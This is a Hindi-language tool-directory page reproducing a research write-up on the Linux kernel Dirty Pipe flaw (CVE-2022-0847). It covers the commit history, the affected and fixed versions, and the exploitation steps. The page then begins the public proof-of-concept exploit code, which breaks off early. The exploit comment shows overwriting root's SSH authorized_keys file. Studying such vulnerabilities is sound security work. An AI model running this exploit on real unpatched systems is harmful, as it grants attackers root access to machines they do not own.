Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-0847-DirtyPipe — CVE-2022-0847 (DirtyPipe) के लिए गहन विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, एक Linux कर्नेल भेद्यता जो अप्रारंभित पाइप बफर फ्लैग के माध्यम से मनमानी फ़ाइल ओवरराइट और स्थानीय विशेषाधिकार वृद्धि को सक्षम बनाती है। | Kitploit
उपकरण/GitHubGitHub/greetdawn/cve-2022-0847-dirtypipe
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषण
GitHubgreetdawn/cve-2022-0847-dirtypipe

CVE-2022-0847-DirtyPipe

CVE-2022-0847 (DirtyPipe) के लिए गहन विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, एक Linux कर्नेल भेद्यता जो अप्रारंभित पाइप बफर फ्लैग के माध्यम से मनमानी फ़ाइल ओवरराइट और स्थानीय विशेषाधिकार वृद्धि को सक्षम बनाती है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
114 साल पहलेअभी तक समीक्षित नहीं

title: CVE-2022-0847 (DirtyPipe स्थानीय विशेषाधिकार वृद्धि) भेद्यता विश्लेषण date: 2022-03-08 14:41:20 tags: - लिनक्स विशेषाधिकार वृद्धि categories: - सुरक्षा अनुसंधान


भेद्यता विवरण

​ CVE-2022-0847 लिनक्स कर्नेल में 5.8 के बाद से एक भेद्यता है, जिसका उपयोग करके हमलावर किसी भी केवल-पढ़ने योग्य फ़ाइल में डेटा को अधिलेखित कर सकता है। इससे सामान्य विशेषाधिकारों को root विशेषाधिकारों तक बढ़ाया जा सकता है, क्योंकि गैर-विशेषाधिकार प्राप्त प्रक्रिया रूट प्रक्रिया में कोड इंजेक्ट कर सकती है।

​ CVE-2022-0847 CVE-2016-5195 “Dirty Cow” (गंदी गाय विशेषाधिकार वृद्धि) के समान है, और इसका शोषण करना आसान है। भेद्यता लेखक ने इसे Dirty Pipe नाम दिया।

सुरक्षा घोषणा

यह ब्लॉग मुख्य रूप से संबंधित सुरक्षा घटनाओं और भेद्यता लेखों को रिकॉर्ड करने के लिए है, ताकि सभी अध्ययन, आदान-प्रदान और परीक्षण कर सकें। इस ब्लॉग लेख में दी गई जानकारी या उपकरणों के प्रसार, उपयोग से होने वाले किसी भी प्रत्यक्ष या अप्रत्यक्ष परिणाम और क्षति के लिए उपयोगकर्ता स्वयं जिम्मेदार है, लेखक कोई जिम्मेदारी नहीं लेता है।

प्रभावित संस्करण

खतरे का स्तर: उच्च

POC/EXP: सार्वजनिक

प्रभावित संस्करण: लिनक्स कर्नेल 5.8 और उसके बाद के संस्करण

नोट: सुरक्षित संस्करण: लिनक्स कर्नेल >= 5.16.11, लिनक्स कर्नेल >= 5.15.25, लिनक्स कर्नेल >= 5.10.102

भेद्यता विश्लेषण

यहाँ भेद्यता के विवरण का संक्षिप्त परिचय दिया गया है।

कुछ अवधारणाएँ:

Linux pipe: अर्ध-द्वैध, डेटा प्रवाह केवल एक सिरे से दूसरे सिरे तक हो सकता है

pipe_buffer: पाइप कैश, पाइप में लिखे गए डेटा को अस्थायी रूप से संग्रहीत करने के लिए, पढ़ना और लिखना दोनों पाइप कैश में होता है

page: पृष्ठ फ्रेम, 4kb, पाइप कैश के साथ एक-से-एक संबंध

pipe_buf_operations: पाइप कैश संचालन सेट संग्रहीत करने के लिए

can_merge: मर्ज फ़्लैग, यदि सामान्य पाइप पढ़ना/लिखना मौजूदा बफर में डेटा को मर्ज कर सकता है तो 1 पर सेट करें। यदि 0 पर सेट किया जाता है, तो नए पाइप पृष्ठ खंड का उपयोग हमेशा नए डेटा के लिए किया जाता है।

splice(): दो फ़ाइल डिस्क्रिप्टर के बीच डेटा स्थानांतरित करता है, sendfile() फ़ंक्शन के समान, पाइप का समर्थन करता है और शून्य-प्रतिलिपि भी है। यह फ़ाइल के पेज कैश और पाइप कैश को बांध देता है, अर्थात लिखते समय दोनों एक साथ प्रभावित होते हैं। अनुमति जाँच केवल डेटा स्रोत फ़ाइल पर पढ़ने की अनुमति की जाँच करती है, लिखते समय कोई अनुमति जाँच नहीं होती। मोटे तौर पर कॉल श्रृंखला इस प्रकार है:

// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

image-20220310151242149

लिनक्स पाइप "मर्ज" जाँच का विकास इतिहास:

यहाँ लेखक के परिचय के अनुसार कोड का संक्षिप्त विश्लेषण दिया गया है।

  1. प्रारंभिक लिनक्स सिस्टम और अवधारणा परिचय में समान, can_merge फ़्लैग मौजूद था, जिसका उपयोग यह चिह्नित करने के लिए किया जाता था कि क्या नया डेटा मौजूदा पाइप कैश में लिखा जा सकता है।

  2. Commit 5274f052e7b3 ने splice() फ़ंक्शन जोड़ा, लेकिन सत्यापन में कोई बदलाव नहीं हुआ, यह अभी भी can_merge फ़्लैग के आधार पर निर्धारित करता था कि वर्तमान पाइप कैश उपलब्ध है या नहीं।

    image-20220310130856202

    image-20220310130701741

  3. Commit 01e7187b4119 ने can_merge फ़्लैग का उपयोग बंद कर दिया और इसके बजाय struct pipe_buf_operations पॉइंटर की तुलना की। क्योंकि केवल anon_pipe_buf_ops प्रकार नए डेटा को लिखने की अनुमति देता है, इसलिए केवल यह जाँचना आवश्यक था कि क्या यह वह प्रकार है।

    image-20220310133214287

    image-20220310133251831

  4. Commit 241699cd72a8 ने दो नए फ़ंक्शन जोड़े, जो नया struct pipe_buf_operations आवंटित कर सकते थे, लेकिन उनके flags फ़्लैग को प्रारंभ नहीं करते थे।

    image-20220310155046455

  5. Commit f6dd975583bd ने इस पॉइंटर तुलना को प्रति-बफर फ़्लैग PIPE_BUF_FLAG_CAN_MERGE की तुलना में बदल दिया और PIPE_BUF_FLAG_CAN_MERGE को इंजेक्ट करने की अनुमति दी, साथ ही अन्य प्रकार के buf_ops की परिभाषा और उपयोग को हटा दिया।

    image-20220310134233873

    image-20220310134337376

    image-20220310142420972

इसलिए लेखक के पास निम्नलिखित उपयोग विचार हैं:

  1. एक पाइप बनाएँ
  2. pipe_buffer का PIPE_BUF_FLAG_CAN_MERGE फ़्लैग सेट करें
  3. पाइप को खाली करें, लक्ष्य के सामने के डेटा को पाइप में जोड़ें, इस समय splice पाइप कैश और पेज कैश को बांध देगा।
  4. पाइप में मनमाना डेटा लिखें, इस समय write अंततः copy_page_from_iter() के माध्यम से लिखता है, क्योंकि PIPE_BUF_FLAG_CAN_MERGE फ़्लैग के कारण, लेखन सीधे पूरा हो जाता है।

Exp विवरण

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();										// p[0] और p[1] बनाएँ जो पाइप के दो सिरों को इंगित करते हैं। पूर्व पढ़ता है, बाद वाला लिखता है

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    	    // पाइप का आकार प्राप्त करें
	static char buffer[4096];
टूल डाउनलोड करें